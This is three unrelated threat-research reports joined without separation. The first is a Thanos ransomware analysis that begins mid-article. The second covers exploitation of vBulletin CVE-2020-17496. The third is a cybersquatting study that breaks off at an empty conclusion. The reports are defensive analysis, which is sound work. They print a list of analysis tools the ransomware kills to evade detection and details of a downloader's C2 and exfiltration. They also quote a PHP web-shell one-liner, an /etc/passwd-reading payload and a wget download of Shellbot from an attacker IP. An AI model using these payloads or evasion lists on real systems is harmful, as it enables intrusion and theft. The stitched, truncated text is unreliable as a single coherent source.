The second functionality enabled in this sample that had not been observed in previous Thanos variants involved the ability to overwrite the master boot record (MBR). Once the code checks to see if the operating system version is not "Windows 10" or "Windows 8," the code will attempt to open "\\.\PhysicalDrive0" and write a 512-byte string to offset 0. The byte array that is written to offset 0 of "\\.\PhysicalDrive0" initially has a ransom message of "Your files are encrypted. Contact us at: get-my-data@protonmail.com...", but the code will replace this string with the following string before writing to disk:
Don\xe2\x80\x99t worry, you can return all your files!\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact: josephnull@secmail.pro\r\n
The interesting part of the overwriting of the MBR in this specific sample is that it does not work correctly, which can be blamed on either a programming error or the custom message included by the actor. As you can see above, the custom message has the bytes "\xe2\x80\x99" for the apostrophe character in unicode, but the code attempts to convert each character using the "Convert.ToByte" function to replace a single byte in the initial ransom string. However, the unicode apostrophe character is three bytes long and causes an exception that breaks the MBR overwriting functionality. We confirmed that after changing this single character, the MBR overwriting functionality works, which results in the following being displayed instead of Windows booting correctly:
The third previously unmentioned functionality in this Thanos sample involves creating a thread that watches for newly connected storage volumes. The code uses a management event watcher that calls a function when a new storage volume is connected using the following WMI query:
SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2
When the event watcher detects a new storage volume connected, it creates a thread that carries out the file encrypting functionality used by Thanos to encrypt files on the original storage volumes.
The last functionality added to this version of Thanos is the ability to detect and kill more analysis tools to evade detection and analysis. The sample will enumerate through running processes and kill those whose names match the following:
http analyzer stand-alone
intercepter
procexp64
fiddler
Intercepter-NG
RDG Packer Detector
effetech http sniffer
ollydbg
CFF Explorer
firesheep
x64dbg
PEiD
IEWatch Professional
x32dbg
protection_id
dumpcap
dnspy
LordPE
wireshark
dnspy-x86
pe-sieve
wireshark portable
de4dot
MegaDumper
sysinternals tcpview
ilspy
UnConfuserEx
NetworkMiner
dotpeek
Universal_Fixer
NetworkTrafficView
dotpeek64
NoFuserEx
HTTPNetworkSniffer
ida64
tcpdump
procexp
Table 4. List of tools this Thanos variant will detect and kill to evade detection
Possibly Related Downloader: Introducing PowGoop
While we cannot confirm the connection, we believe the actors deploying the Thanos ransomware at the Middle Eastern state-run organization also used a downloader that we call PowGoop. The actors would use the PowGoop downloader to reach out to a remote server to download and execute additional PowerShell scripts. The files existed in the same environment as the LogicalDuckBill sample previously discussed, but we did not observe the actors specifically running both PowGoop and the LogicalDuckBill spreader. Also, as expected, there is very little code overlap between the PowerShell code in this downloader and LogicalDuckBill, as their functionality differs dramatically. The only code overlap is a common variable name $a that both of the scripts use to store the base64 encoded data prior to decoding, which is not a strong enough connection to suggest a common author.
The PowGoop downloader has two components: a DLL loader and a PowerShell-based downloader. The PowGoop loader component is responsible for decrypting and running the PowerShell code that comprises the PowGoop downloader. The PowGoop loader DLL that existed in the same environment as LogicalDuckBill had a filename of goopdate.dll that was likely sideloaded by the legitimate and signed Google Update executable. The sideloading process would start with the legitimate GoogleUpdate.exe file loading a legitimate DLL with a name of goopdate86.dll. The sideloading would occur when the goopdate86.dll library loads the goopdate.dll file, which effectively runs the PowGoop loader. We observed the following files that are likely associated:
Table 5. List of files associated with the sideloading of the PowGoop downloader
The goopdate.dll file is the PowGoop loader, whose functionality exists within an exported function named DllRegisterServer. The goopdate.dll file’s DllEntryPoint function, which would be called if loaded via the sideloading process mentioned above, does nothing more than attempt to run the DllRegisterServer exported function using the following command:
rundll32.exe <module filename>,DllRegisterServer
The functional code in DllRegisterServer reads a file named config.dat, decodes it and runs it as a PowerShell script, which is the PowGoop downloader component. To decode the config.dat file, the DLL builds and executes a PowerShell script using the CreateProcessA function. The PowerShell script built by the PowGoop loader will read the contents of the config.dat file, base64 decode and decrypt the contents using a simple subtract by two cipher and run the result PowGoop downloader script using the IEX command, as seen in the following:
The config.dat file we decrypted is the PowGoop downloader that the actors configured to use the following URL as its command and control (C2):
http://107.174.241[.]175:80/index.php
The PowGoop downloader will communicate with the C2 server via HTTP GET requests to this URL. It will expect the C2 server to respond to requests with base64 encoded data that the script will decode, decompress the decoded data using System.IO.Compression.GzipStream and then decrypt the decompressed data using the same subtract by two cipher used to decrypt the config.dat file. It will first communicate with the C2 to obtain a unique identifier value that the C2 will assign to the compromised system. After obtaining this identifier, the script will continue to communicate with the C2 to obtain Tasks, which the script will decode, decompress, decrypt and run as PowerShell scripts. The script exfiltrates the result of a task to the C2 by encrypting the result using an add by two cipher, compressing the ciphertext and base64 encoding it, and transmitting it to the C2 server using a GET request with the data in the Cookie field of the HTTP request, specifically as the R value.
Conclusion
Actors used the Thanos ransomware to encrypt files and a PowerShell script to spread to additional systems, specifically on networks of two state-run organizations in the Middle East and North Africa. The Thanos variant created a text file that displayed a ransom message requesting the victim transfer “20,000$” into a specified Bitcoin wallet to restore the files on the system.
While the Thanos ransomware is not new, it appears that it is still under active development as the variant used in these attacks contained new functionality. The new functionality included the ability to detect and evade more analysis tools, the enumeration of local storage volumes via a technique used by the Ragnar Locker ransomware and a new capability to monitor for newly attached storage devices.
Most importantly, this variant of Thanos also included the new ability to overwrite the MBR and display the same ransom message. Overwriting the MBR is a much more destructive approach to ransomware than previously used by Thanos and would require more effort for victims to recover their files even if they paid the ransom.
Palo Alto Networks customers are protected from the attacks discussed in this blog in the following ways:
All known Thanos ransomware and LogicalDuckBill samples have malicious verdicts in WildFire.
AutoFocus customers can track this ransomware, PowerShell spreading script and the potentially related downloader with the tags Thanos, LogicalDuckBill and PowGoop.
Cortex XDR blocks Thanos ransomware, LogicalDuckBill and PowGoop.
In September 2019, a remote code execution (RCE) vulnerability identified as CVE-2019-16759 was disclosed for vBulletin, a popular forum software. At that time, Unit 42 researchers published a blog on this vBulletin vulnerability, analyzing its root cause and the exploit we found in the wild. By exploiting this vulnerability, an attacker could have gained privileged access and control over any vBulletin server running versions 5.0.0 up to 5.5.4, and potentially lock organizations out from their own sites.
Recently, Unit 42 researchers found exploits in the wild leveraging the vBulletin pre-auth RCE vulnerability CVE-2020-17496. The exploits are a bypass of the fix for the previous vulnerability, CVE-2019-16759, which allows attackers to send a crafted HTTP request with a specified template name and malicious PHP code, and leads to remote code execution. More than 100,000 sites are built on vBulletin, including the forums of major enterprises and organizations, so it’s imperative to patch immediately.
In this blog, we provide details on the bypass of the patch of the vulnerability, proof of concept code (PoC) to demonstrate the vulnerability and information on attacks we have observed in the wild.
Palo Alto Networks customers are protected by the following services and products via Threat Prevention signatures and URL Filtering blocks the related C2 traffic.
Root Cause Analysis of the Vulnerability (CVE-2020-17496)
Template rendering is a functionality of vBulletin that can convert XML templates to PHP code and execute it. Beginning from version 5.0, vBulletin starts to accept Ajax requests for template rendering. The rendering is executed with a function staticRenderAjax. As shown in Figure 1, the values of parameters for this function are from $_REQUESTS, $_GET and $_POST. Thus, the template name and the related config which come from those parameters are user-controllable, which leads to the RCE vulnerability CVE-2019-16759.
Figure 1. The callRender() in vBulletin < 5.5.5
When an attacker manipulates an Ajax request that contains template name widget_php and malicious code placed in the parameter widgetConfig[‘code’], the render engine will convert the XML template widget_php shown in Figure 2 to a string of PHP code, then execute the code by the eval function highlighted in Figure 3. Since the generated code has a line of vB5_Template_Runtime::evalPhp('' . $widgetConfig['code'], the malicious code in the request will be executed.
Figure 3. Eval the PHP code rendered from the XML template
Beginning from version 5.5.5, a fix for CVE-2019-16759 was introduced into the function callRender() as shown in Figure 4. It uses a disallow-list mechanism to check the template name. If the name is widget_php, the engine won’t render the requested template.
Figure 4. The callRender() in vBulletin ≥ 5.5.5
Another fix is that the evalPhp function will check the current template name. After the fix, widget_php is the only template that can be used to execute PHP code, as shown in Figure 5.
Figure 5. evalPhp() executes code only when the template is widget_php
The fix makes widget_php the only template that can be utilized for PHP code execution, and meanwhile, restricts the user’s access to this template. However, in the latest bypass, we found that another template can be utilized to load this template. That template is widget_tabbedcontainer_tab_panel.
Figure 6. The template widget_tabbedcontainer_tab_panel
This template widget_tabbedcontainer_tab_panel shown in Figure 6, above, is a template that can be used to render multiple child templates. Rendering the template itself doesn’t directly lead to the remote code execution. However, the rendering of this template will trigger the rendering of other child templates.
The code below is the PHP code that is rendered from the widget_tabbedcontainer_tab_panel template in XML. After this code is generated, it will be executed.
In the PHP code, it can be seen that the render engine will traverse the “subWidget” and its config from the $subWidgets and create a new template object, after which the rendering will generate its PHP code. In this case, if the string widget_php is assigned to variable subWidget and the malicious code is placed in the $widgetConfig['code'], the malicious code will be executed just like with CVE-2019-16759.
Proof of Concept
Based on our analysis, we can construct the exploit code to prove the functionality. The calling of the function callRender requires the POST HTTP method (according to Figure 7).
Figure 7. Call of the callRender()
Figure 8 shows a compromised page that contains the result of the code phpinfo(); with the request information. Figures 9 and 10 show some other manipulated requests that have the same effect.
In the URL, the child template name widget_php and the malicious code phpinfo();exit(); are in the array subWidget as the first element. When the backend processes this URL, the malicious code will be executed.
Figure 8. Reproduction of the exploit – 1Figure 9. Reproduction of the exploit – 2Figure 10. Reproduction of the exploit – 3
Exploits in the Wild: CVE-2020-17496
We caught the first incident of CVE-2020-17496 exploitation on Aug. 10, 2020, and later found that exploitation attempts from different IP addresses are ongoing. Note that these are disparate attacks and not a coordinated effort by any particular attackers.
Scanning Activities
According to malicious traffic we captured, there are multiple source IPs running scans. These scans are trying to find vulnerable sites and collect that information, which is an early step of cyber attacks. The traffic is shown in Figures 11-15. These payloads try to execute system commands echo and id, which can give attackers knowledge of whether or not the targets are vulnerable according to the responses.
Figure 11. Exploit in the wild – 1Figure 12. Exploit in the wild – 2Figure 13. Exploit in the wild – 3Figure 14. Exploit in the wild – 4
Sensitive File Reading
Some attackers are trying to exploit the vulnerability and read files on the server-side. The payload contains the PHP function shell_exec() for the execution of arbitrary system commands and a system command cat ../../../../../../../../../../etc/passwd to read the content of the /etc/passwd. The traffic is shown in Figure 15. Once the attack succeeds, sensitive information from the targets may be disclosed.
Figure 15. Exploit in the wild – 5
Writing Web Shell
Some attackers are exploiting the vulnerability to install a web shell.
Figure 16 shows that the exploit is trying to write a PHP-based web shell <?php @eval($_POST[“x”]);?> to the file conf.php on the web host directory with the PHP function file_put_content(). Once the attack succeeds, attackers can send their commands via HTTP POST request with the parameter x to the web shell and execute the commands on the server-side.
Figure 16. Exploit in the wild – 6
Figure 17 shows that the exploit is trying to download a PHP script onto the victim server. The webshell code is as below. The code provides an upload page for attackers to upload any files and conduct the follow-up steps of a cyber attack.
Figure 18 shows that the exploit is trying to write base64 encoded PHP code into a file in the web host directory. The new page will lead to an arbitrary file upload entrypoint, allowing attackers to conduct the follow-up steps of a cyber attack.
Figure 18. Exploit in the wild – 8
Downloading Shellbot
Some attackers are utilizing the vulnerability to download a Perl-based script malware (Shellbot) with the PHP function shell_exec() for the execution of the system command wget from the address http://178[.]170[.]117[.]50/bot1 and run it. The payload can be seen in Figure 19.
Figure 19. Exploit in the wild – 9
Once the script is executed, it will connect to an IRC-based command-and-control (C2) server with the address of 66[.]7[.]149[.]161:6667, join the IRC channel #afk then keep responding to the PING from the server, as in the traffic shown in Figure 20. Once it receives the commands from the chat channel, it will execute the related code of port scanning, download files, execute system commands, start a flood attack, pop a shell to attackers and so on.
Figure 20. Traffic during the execution of the ShellBot script
Downloading Sora
One exploit is found to download a Mirai variant (Sora) from the attacker’s server. However, the payload is ineffective as it uses the wrong HTTP method.
Figure 21. Exploit in the wild – 10
According to analysis of the samples, they spread themselves with different combinations of the exploits of CVE-2020-5902 (which would be ineffective, as the payload uses bash commands, whereas the exploit requires the injected commands to be specific CLI-compatible ones), CVE-2020-1937, CVE-2020-10173, CVE-2020-10987, Netgear R700 RCE, Netlink GPON Router 1.0.11 RCE and the vulnerability CVE-2020-17496 discussed in this blog.
Conclusion
There are multiple kinds of exploit attempts against vBulletin pre-auth RCE vulnerability CVE-2020-17496 being detected by our threat platform. As a widely used forum software package that has been running for a long time in the market, it has been identified as a prized target by attackers.
vBulletin released the patch to fix this vulnerability on Aug. 10, 2020. Applying the patch to the latest version will mitigate the risks, which is strongly advised.
Palo Alto Networks customers are protected by the following services and products:
Users on the internet rely on domain names to find brands, services, professionals and personal websites. Cybercriminals take advantage of the essential role that domain names play on the internet by registering names that appear related to existing domains or brands, with the intent of profiting from user mistakes. This is known as cybersquatting. The purpose of squatting domains is to confuse users into believing that the targeted brands (such as Netflix) own these domain names (such as netflix-payments[.]com) or to profit from users’ typing mistakes (such as whatsalpp[.]com for WhatsApp). While cybersquatting is not always malicious toward users, it is illegal in the U.S.,[1] and squatting domains are often used or repurposed for attacks.
The Palo Alto Networks squatting detector system discovered that 13,857 squatting domains were registered in December 2019, an average of 450 per day. We found that 2,595 (18.59%) squatted domain names are malicious, often distributing malware or conducting phishing attacks, and 5,104 (36.57%) squatting domains we studied present a high risk to users visiting them, meaning they have evidence of association with malicious URLs within the domain or are utilizing bulletproof hosting.
We also ranked the Top 20 most abused domains in December 2019 based on adjusted malicious rate, which means that a domain is either a target of many squatting domains or most of these squatting domains are confirmed malicious. We found that domain squatters prefer profitable targets, such as mainstream search engines and social media, financial, shopping and banking websites. When visiting these sites, users are often prepared to share sensitive information, which opens them up to phishing and scams to steal sensitive credentials or money if they can be deceived into visiting a squatting domain instead.
From December 2019 to date, we observed a variety of malicious domains with different objectives:
Phishing: A domain mimicking Wells Fargo (secure-wellsfargo[.]org) targeting customers to steal sensitive information, including email credentials and ATM PINs. Also, a domain mimicking Amazon (amazon-india[.]online) set up to steal user credentials, specifically targeting mobile users in India.
Malware distribution: A domain mimicking Samsung (samsungeblyaiphone[.]com) hosting Azorult malware to steal credit card information.
Command and control (C2): Domains mimicking Microsoft (microsoft-store-drm-server[.]com and microsoft-sback-server[.]com) attempting to conduct C2 attacks to compromise an entire network.
Re-bill scam: Several phishing sites mimicking Netflix (such as netflixbrazilcovid[.]com) set up to steal victims’ money by first offering a small initial payment for a subscription to a product like weight loss pills. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards, usually $50-100.
Potentially unwanted program (PUP): Domains mimicking Walmart (walrmart44[.]com) and Samsung (samsungpr0mo[.]online) distributing PUP, such as spyware, adware or a browser extension. They usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads. Of note, the Samsung domain looks like a legitimate Australia educational news website.
Technical support scam: Domains mimicking Microsoft (such as microsoft-alert[.]club) trying to scare users into paying for fake customer support.
Reward scam: A domain mimicking Facebook (facebookwinners2020[.]com) scamming users with rewards, such as free products or money. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation and income.
Domain parking: A domain mimicking RBC Royal Bank (rbyroyalbank[.]com) leveraging a popular parking service, ParkingCrew, to generate profit based on how many users land on the site and click the advertisements.
We studied domain squatting techniques including typosquatting, combosquatting, level-squatting, bitsquatting and homograph-squatting (all defined below). Malicious actors can use these techniques to distribute malware or to conduct scams and phishing campaigns.
To detect squatting domains, Palo Alto Networks developed an automated system to capture emerging campaigns from newly registered domains, as well as from passive DNS (pDNS) data. We continue to detect currently active cybersquatting domains – we identify malicious and suspicious squatting domains and designate them to the appropriate categories (such as phishing, malware, C2 or grayware). Protections against domains classified in these categories are available in multiple Palo Alto Networks security subscriptions, including URL Filtering and DNS Security.
We recommend that enterprises block and closely monitor traffic from these domains, while consumers should make sure that they type domain names correctly and double-check that the domain owners are trusted before entering any site. More tips can be found in this post on how to protect against cyberattacks.
Squatting Techniques
Typosquatting is one of the most common types of domain registration abuse. Typosquatters intentionally register misspelled variants (such as whatsalpp[.]com) of target domain names (whatsapp[.]com) to profit from users’ typing mistakes or to deceive users into believing that they are visiting the correct target domain. The most frequent typosquatting techniques include registering names one edit distance from the original domain, as these are the most common and overlooked mistakes users make. For more information, readers can refer to academic research papers on the scale and malicious use of typosquatting.
Combosquatting is another widespread registration abuse that combines popular trademarks with words such as “security,” “payment” or “verification.” Combosquatting domains like netflix-payments[.]com are often used in phishing emails, by scam websites and for social engineering attacks to convince users that they are visiting web content maintained by the targeted trademark. For more information, readers can refer to this academic paper on a longitudinal study of combosquatting.
Homographsquatting domains take advantage of internationalized domain names (IDNs), where Unicode characters are allowed (such as microsofŧ[.]com). Attackers usually replace one or more characters in the target domain with visually similar characters from another language. These domains can be perfectly indistinguishable from their targets, as in the case of apple.com, where the English letter "a" (U+0061) was replaced with the Cyrillic letter "а" (U+0430). For more information, readers can refer to academic research papers on IDNs.
Soundsquatting domains take advantage of homophones, i.e., words that sound alike (for example, weather and whether). Attackers can register homophone variants of popular domains, such as 4ever21[.]com for forever21[.]com. As text-to-speech software like Siri and Google Assistant becomes prevalent, more and more users will become vulnerable to the abuse of soundsquatting domains. For more information, readers can refer to this academic research paper on soundsquatting.
Bitsquatting domains have a character that differs in one bit (such as micposoft[.]com) from the same character as the targeted legitimate domain (microsoft[.]com). Bitsquatting can benefit attackers because a hardware error can cause a random bit-flip in memory where domain names are stored temporarily. Thus, even though users type the correct domains, they may still be led to malicious ones. Although such hardware errors are usually rare, an academic research paper has shown that bitsquatting is a real threat.
Levelsquatting domains, such as the case of safety.microsoft.com.mdmfmztwjj.l6kan7uf04p102xmpq[.]bid, include the targeted brand’s domain name as a subdomain. In this example, the victims of the phishing attack might believe they are visiting safety.microsoft.com, when instead, they are visiting the attacker’s website. This attack is especially worrisome for mobile users because the browser's address bar might not be wide enough to display the entire domain name. For more information, readers can refer to this academic paper for a more comprehensive study of levelsquatting domains.
Detection of Various Squatting Techniques
We leverage lexical analysis to detect candidate squatting domains among the Palo Alto Networks newly registered domain (NRD) and pDNS feeds. Our list of target domains is the combination of popular domains in general and domains popular in specific categories, such as shopping and business. We generate the aforementioned squatting variants of the target domains, and match them against our NRD feed and pDNS hostnames. Additionally, we cluster weekly collections of NRDs to see if registration campaigns target known brands. After the initial discovery step, we leverage WHOIS data to filter out defensive registrations and a heuristic rule-based classifier to identify which domains are true squatting domains.
Figure 1 shows the daily detection statistics for December 2019. During this period, we detected 13,857 squatting domains (~450 per day). Since then, the number of daily detections fluctuate from 200-900. To understand how these domains are leveraged for abuse, we use URL Filtering to categorize them. We label domain names as malicious if they are involved in distributing malware or phishing, or if they are being used for command and control (C2) communication. We label domains categorized as grayware, parked, questionable, insufficient content and high-risk as suspicious. The average malicious rate of the 13,857 squatting domains is 18.59% (2,595) and the average suspicious rate is 36.57% (5,104).
Figure 1. Volume and malicious and suspicious rates of daily domain squatting in December 2019.
Next, we compare our detection of squatting domains to vendors found on VirusTotal. Considering detection delays, we allow a 10-day time window for malicious squatting domains to appear on VirusTotal. Figure 2 shows how well the top 10 vendors detected these malicious and high-risk domains. The best-performing vendor covers about 25% of the malicious or high-risk squatting domains that we detected. Meanwhile, other vendors cover less than 20% of our detections. Lastly, we found that 55% of malicious or high-risk squatting domains are not detected by any vendors.
Figure 2. Malicious and high-risk squatting domain detection on VirusTotal in December 2019.
The Domain Squatting Ecosystem
To identify malicious infrastructure hotspots, we studied specific network elements and entities that typosquatters depend on for their operations. Specifically, we studied popular registrars, name services, autonomous systems and certificate authorities used by domain squatters.
For each chart outlined below, we considered the number of squatting detections to reflect their popularity among domain squatters, and the malicious IOC rate to quantify the degree of threat to users. Combining these two metrics, we calculated the adjusted malicious rate of each entity. Thus, a high adjusted malicious rate means that an entity is either targeted by many squatting domains or most of these squatting domains are malicious.
Top 20 Most Abused Domains
Domain squatters prefer popular and thus profitable targets. Figure 3 shows the Top 20 most abused domains. These targets are popular websites, such as mainstream search engines and social media, financial, shopping and banking websites. Squatting domains mimicking these websites benefit from their credibility to attract more users that can be scammed. Therefore, these targets have relatively high squatting detection numbers.
Figure 3. Top 20 most abused domains in December 2019.
Top 10 Most Abused DNS Services and Autonomous Systems
Next, we look at the DNS services and the autonomous systems (AS) used by squatting domains to understand their infrastructure preferences. An AS is a set of IP subnets maintained by one or more network operators.
The name service used by domain squatters often signifies which registrar was used to register the domain, where the squatting web page is hosted or which parking service these domains utilize to profit from user traffic. Figure 4 displays the most abused name services of squatting domains. Freenom.com and dnspod.com are often used by domain squatters, as they provide cheap or free domain registration and domain hosting. DNSPod is known for hosting shady DNS records and for providing services for malicious bulletproof hosting operators. Level-squatters might choose to use registrar.eu as it supports an unlimited number of subdomains and free URL forwarding, which reduces the cost of deploying and scaling attacks.
Figure 4. Top 10 most abused DNS services in December 2019.
Additionally, parkingcrew.net and above.com are popular parking services because they provide a simple monetization avenue to domain owners, achieved by pointing domain names’ DNS records to their name servers. Parking services usually show users parked pages laden with ads or redirect users to affiliate marketing or malicious websites.
As hosting services often have their own AS, we observed that the AS distribution is somewhat consistent with the name service distribution. The top three most abused AS (19495, 48635, 262254) belong to the three most abused name service providers, respectively (freenom.com, registrar.eu, ddos-guard.net). The fourth most abused AS (40034) is owned by ztomy.com, a service favored for DNS hijacking attacks.
Figure 5. Top 10 most abused autonomous systems in December 2019.
Top 10 Most Abused Registrars
Registrars are entities that sell domain names to users. The most abused registrar, Internet.bs, provides free services preferred by domain squatters, including privacy-protected registration and URL forwarding. We captured several level-squatting campaigns at this registrar. In these campaigns, attackers set up hundreds of subdomains mimicking popular target domains under com-secure-login[.]info and com-finder-me[.]info. An example level-squatting subdomain is www.icloud.com-secure-login[.]info. The second-most abused registrar, Openprovider, offers cheap and easy bulk registrations, attracting many squatting registrations. Additionally, we observed many domains from this registrar having their WHOIS records redacted for privacy. Our system discovered many level-squatting domains registered at TLD Registrar Solutions using the .support TLD (top-level domain), including icloud.com-iphone[.]support and apple.com.recover[.]support, which users might confuse with legitimate Apple technical support services.
Figure 6. Top 10 most abused registrars in December 2019.
Top 5 Most Abused Certificate Authorities
As HTTPS became common, cybercriminals increased the use of certificates to make their websites appear legitimate. Figure 7 provides an overview of the certificate authorities (CAs) preferred by squatting sites. The most popular CA is Cloudflare, as it offers a bundle, including free SSL encryption. The second most popular CA, cPanel Inc CA, is preferred by domain squatters because of the convenience and the ease of its AutoSSL services. Through cPanel’s management interface, their customers are able to finish all steps of SSL encryption, including certificate purchase, automatic installation and renewal. Thawte CA is not a trusted CA anymore, and browsers will label their certificate as suspicious, but squatting domains are still using it.
Figure 7. Top 5 most abused certificate authorities in December 2019.
Malicious Usages and Threats
In this section, we discuss in detail different types of abuse leveraging squatting domains. It includes malware distribution, phishing, C2 communication, potentially unwanted programs (PUPs), scams, ad-laden sites and affiliate marketing.
Phishing
Phishing is one of the most popular threats leveraging squatting domains. All of the different squatting techniques we discussed can be used to lure users into believing that a squatting domain is owned by the legitimate brand and to increase the efficiency of phishing and scam campaigns.
One example is a combosquatting domain, secure-wellsfargo[.]org, which targets Wells Fargo’s customers. This domain hosts a copy of Wells Fargo’s official site, as illustrated in Figure 8.a. However, this site is only the front-end portion of the original site, redirecting all clicks to the same login page (shown in Figure 8.b) to steal customers’ sensitive information, including email credentials and ATM PINs.
Figure 8.a. Fake Wells Fargo website: secure-wellsfargo[.]orgFigure 8.b. Phishing login page for secure-wellsfargo[.]orgFigure 9 demonstrates how another combosquatting domain, amazon-india[.]online, mimicking Amazon, is set up to steal user credentials, specifically targeting mobile users in India. As a common strategy, all links on this site first redirect users to the same product page (the middle screenshot in Figure 9) and then to the payment page. In this particular case, the perpetrators did not even go through the trouble of optimizing the phishing page for desktop users.
Squatting domains are also often used to distribute malware. A combosquatting domain mimicking Samsung (samsungeblyaiphone[.]com) hosts Azorult malware 5acd6d9ac235104f90f9a39c11807c37cdfb103d6c151cc1a2e4e38bf3dbe41f on the URL samsungeblyaiphone[.]com/dolce.exe. Azorult malware is a credential and payment card information stealer, usually spread by phishing emails. It has been an active threat since 2016 and is one of the top malware families. Once the malware executes, it will generate a unique identifier for the compromised machine based on the machine’s globally unique identifier and username. Then the malware will contact the C2 server with this identifier, and it will retrieve the configuration of the infected machine, including the running processes and services. Additionally, Azorult malware often downloads payload from other compromised servers. The new payload can collect and send out sensitive data such as cookies, browser credentials and cryptocurrency information.
Analyzing the malware sample downloaded from samsungeblyaiphone[.]com, we found that it attempted to send a POST request to samsungeblyaiphone[.]com/index.php, which is consistent with this malware family’s known behavior to exfiltrate data. Besides the observed network activity, the malware also displayed suspicious behaviors such as changing the settings of Internet Explorer.
Command & Control (C2)
Malware instances on infected machines typically need to “phone home” to a C2 server for further commands to execute, to download new payloads or to perform data exfiltration. Malware often relies on domain names to locate C2 servers, and these domains are called C2 domains. While using squatting domains for C2 is uncommon, we speculate that the intention of those who do so is to evade automated detection (such as Domain Generation Algorithm detection) and manual analysis.
Our squatting detection system captured squatting domains mimicking Microsoft, microsoft-store-drm-server[.]com on January 30, 2020, and microsoft-sback-server[.]com on February 3, 2020. From the Palo Alto Networks WildFire Malware Analysis Engine, we retrieved similar malware samples, including fa28b59eb0ccd21d3994b0778946679497399b72c2e256ebf2434553cb7bf373 and e7fb436bf7d8784da092315bce1d3511a6055da41fe67362bad7a4c5d3f0294e , connecting to them. These two domain names used the previously mentioned DNSPod for name resolution, which is infamous for being slow in responding to abuse investigations. First, the malware resolved these domains to the same IP address 217.182.227[.]117. Then, it communicated through SSL traffic with the same JA3 (SSL fingerprint): 6312930a139fa3ed22b87abb75c16afa on client-side and 4192c0a946c5bd9b544b4656d9f624a4 on server-side. Observing the same behavior, we conclude they were using the identical SSL application and were part of the same campaign.
Similar to most C2 domains, these two squatting domains were short-lived. They were only used for one to two days after registration and were then abandoned by attackers. Tracking 217.182.227[.]117, we are able to find other C2 domains used by this campaign: store-in-box[.]com from Jan. 27-28, stt-box[.]com from Jan. 29-31, microsoft-store-drm-server[.]com from Jan. 31-Feb. 2, and microsoft-sback-server[.]com on February 3.
Potentially Unwanted Program (PUP)
A PUP could be either standalone software, like spyware or adware, or a browser extension. PUPs usually perform unwanted changes, like changing the browser's default page or hijacking the browser to insert ads. Researchers have shown that some PUP downloaders are also repurposed for malware campaigns. Websites hosting PUPs usually try to scare users by showing them warning messages like “Your computer is infected!” or “Your license has expired!” to convince them to download the advertised software.
Figure 10 shows a combosquatting domain mimicking Walmart (walrmart44[.]com) that distributes PUP. Depending on the browser used, it redirects users to landing pages offering different types of PUPs for download. When we visit this domain in Safari, it tells us that our Flash player might be outdated and offers us the chance to download the newest version from their site, as illustrated in Figure 10.a. While using Chrome, we get a “click continue and install extension” page, as shown in Figure 10.b, which redirects users to the Chrome store for the “Security for Chrome” extension. Alternatively, this website will occasionally redirect users to various legitimate ecommerce websites, including Walmart, Amazon and Aliexpress. After repeated visits, it will remember the source IP address and reject further visits even if we use different browsers (Figure 10.c).
Figure 10.a. Redirection to PUP installation in Safari from walrmart44[.]comFigure 10.b. Redirection to PUP installation in Chrome from walrmart44[.]comFigure 10.c. walrmart44[.]com blocks crawlers when visited too frequently.A combosquatting domain mimicking Samsung (samsungpr0mo[.]online) looks like a legitimate Australian educational news website with a valid SSL certificate. However, visiting this site, users are faced with popup windows, warning them about security flaws (Figure 11.a). Clicking on the warnings, users are redirected to a fake virus scanning page, which recognizes their operating system to increase credibility but will always display the same list of detected viruses (Figure 11.b). Finally, clicking the “Proceed” button takes users to a download page for a system repair tool, which is legitimate but potentially unwanted.
Figure 11.a. samsungpr0mo[.]online displaying warning messages in the top right corner.Figure 11.b. A fake virus scanning page displays after clicking on a warning message from samsungpr0mo[.]online
Technical Support Scam
Technical support scams are social engineering attacks. An associated website’s purpose is to scare people with audio and visual warnings into believing that their machine is compromised. It prompts people to call the displayed fake technical support center’s phone number. When people call the number, scammers will try to persuade them that the only way to save their machine is by paying for the fraudulent support service. In the case of combosquatting, the domain name often contains keywords like “security,” “alert” and “warning.” An example domain mimicking Microsoft (microsoft-alert[.]club) shown in Figure 12.a was registered on June 11, 2020. This website presents warning messages in Japanese (translated to English in Figure 12.b), renders dynamic content, such as a running command line window, and plays audio alerts.
Figure 12.a. A technical support scam page hosted on microsoft-alert[.]clubFigure 12.b. Translated to English.
Re-bill Scam
Re-bill scammers first offer a subscription to products such as weight loss pills in exchange for a small initial payment. However, if users don’t cancel the subscription after the promotion period, a much higher cost will be charged to their credit cards, usually $50-100. Additional information on this type of scam can be found in Unit 42’s previous research on deceptive affiliate marketing. The combosquatting domain netflixbrazilcovid[.]com leverages both Netflix and the COVID-19 pandemic. The main page looks like the Portuguese Netflix site (Figure 13.a), and has the purpose of obtaining user email addresses. (It is shown translated to English in Figure 13.b.) A deceptive reward message (Figure 13.c) is then shown to potential victims. Finally, users are redirected to a survey and then to a re-bill scam page (Figure 13.d).
Figure 13.a. A fake Netflix main page hosted on netflixbrazilcovid[.]comFigure 13.b. Translated to English.Figure 13.c. Deceptive social engineering reward email.Figure 13.d. A re-bill scam page distributed by deceptive reward email.
Reward Scam
Another popular scam offers users rewards such as free products or money. When we initially captured facebookwinners2020[.]com, it was under development with placeholder images and texts, as shown in Figure 14.a. However, the perpetrators recently replaced placeholders with meaningful content. From the screenshot, we could tell the page mimics a free lottery related to Facebook. To claim the prize, users need to fill out a form with their personal information such as date of birth, phone number, occupation and income (Figure 14.b).
Figure 14.a. Reward scam page under development: facebookwinners2020[.]comFigure 14.b. An application form on facebookwinners2020[.]com requesting personal information.
Domain Parking
A common and easy way to monetize user traffic is to use a parking service by pointing the squatting domain’s IP address or NS record to the parking service’s servers. Figure 15 provides an example of a parked domain mimicking RBC Royal Bank, rbyroyalbank[.]com, leveraging a popular parking service, ParkingCrew, to generate profit based on how many users land on the site and click the advertisements. In some cases, parking services also redirect users to scam and phishing pages. As the hostname in the certificate is different from the squatting domain, the browser will label it as “Not secure.” Parked pages usually show users a list of advertisements related to the parked domain. In our example, the ads shown are related to financial services.
Figure 15. A parked page for rbyroyalbank[.]com
Conclusion
